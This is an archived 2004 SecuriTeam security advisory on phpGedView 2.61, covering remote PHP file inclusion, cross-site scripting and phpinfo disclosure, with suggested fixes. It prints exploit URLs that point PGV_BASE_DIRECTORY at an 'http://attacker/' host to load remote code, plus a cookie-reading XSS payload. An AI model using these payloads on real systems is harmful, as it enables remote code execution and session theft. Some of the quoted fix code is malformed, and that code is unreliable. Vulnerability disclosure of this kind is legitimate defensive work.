[UNIX] Multiple Vulnerabilities in phpGedView
From: SecuriTeam (support_at_securiteam.com)
Date: 01/07/04
- Previous message: SecuriTeam: "[UNIX] Lotus Notes Domino Insecure Default Permissions"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 7 Jan 2004 15:27:51 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple Vulnerabilities in phpGedView
------------------------------------------------------------------------
SUMMARY
<http://phpGedView.sourceforge.net> phpGedView is an open source system
for online viewing Gedcom information (family tree and genology
information). Multiple vulnerabilities exist in the phpGedView product.
Some of the problems enable a malicious user to inject arbitrary PHP and
SQL code or view sensitive system information.
DETAILS
Vulnerable Systems:
* phpGedView version 2.61 and prior
PHP code injection:
The vulnerability exists in the following scripts: functions.php,
authentication_index.php, and config_gedcom.php.
In authentication_index.php file at line 33:
require $PGV_BASE_DIRECTORY."authenticate.php";
In functions.php file at line 35:
require($PGV_BASE_DIRECTORY."functions_print.php");
In config_gedcom.php file at line 115:
if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"))
require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
else {
$THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
require($THEME_DIR."theme.php");
Exploits:
http://target/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://attacker/
The above exploit will cause the script named authenticate.php to include
the file found in http://attacker/.
http://target/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://attacker/
http://target/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://attacker/
Similarly, the above exploits will cause an inclusion of an external file.
Fix:
In each of the vulnerable files, add the following line in the beginning
of file:
Require (config.php);
Cross Site Scripting:
A cross-site scripting vulnerability exists in the search.php file.
Exploit:
http://localhost/phpgedview/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>
Fix:
< input type="text" name="firstname" value="<?php if ($action=="soundex")
print $firstname; size="20" ?>" /></td></tr>
< tr>< td><?php print $pgv_lang["lastname_search"]?></td>< td>
< input type="text" name="lastname" value="<?php if ($action=="soundex")
print $lastname; size="20" ?>" /></td></tr>
< tr>< td><?php print $pgv_lang["search_place"]?></td>< td>
< input type="text" name="place" value="<?php if ($action=="soundex")
print $place; size="20" ?>" /></td></tr>
< tr>< td><?php print $pgv_lang["search_year"]?></td>< td>
< input type="text" name="year" value="<?php if ($action=="soundex") print
$year; size="20" ?>" /></td></tr>
With:
< input type="text" name="firstname" value="" /></td></tr>
< tr>< td><?php print $pgv_lang["lastname_search"]?></td>< td>
< input type="text" name="lastname" value="" /></td></tr>
< tr>< td><?php print $pgv_lang["search_place"]?></td>< td>
< input type="text" name="place" value="" /></td></tr>
< tr>< td><?php print $pgv_lang["search_year"]?></td>< td>
< input type="text" name="year" value="" /></td></tr>
phpinfo() Disclosure:
The PHP server information is accessible to anyone (even unauthenticated
users).
Exploit:
http://target/phpgedview_folder/admin.php?action=phpinfo
Fix:
Replace:
if (!isset($action)) $action="";
if ($action=="phpinfo") {
phpinfo();
exit;
}
if (!userIsAdmin(getUserName())) {
header("Location: login.php?url=admin.php");
exit;
}
With:
if (!userIsAdmin(getUserName())) {
header("Location: login.php?url=admin.php");
exit;
}
if (!isset($action)) $action="";
if ($action=="phpinfo") {
phpinfo();
exit;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:security@security.com.vn>
Windak
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Lotus Notes Domino Insecure Default Permissions"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability
in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by
default. ... permissions and thus granted all local users the privilege to execute the
... (Securiteam) - [UNIX] SCO Multiple Local Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer
overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges.
... (Securiteam) - [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing
application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability
in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled
by ... (Securiteam) - [UNIX] Multiple Vulnerabilities in CoolPHP
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... CoolPHP suffers from multiple
vulnerabilities that allow an attacker to ... include arbitrary PHP files and perform cross
site scripting attacks. ... This vulnerability occurs due to insufficient inspection
of some ... (Securiteam) - [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have
been recently discovered in Tikiwiki, ... Remote exploitation of an input validation
vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on
the vulnerable ... (Securiteam)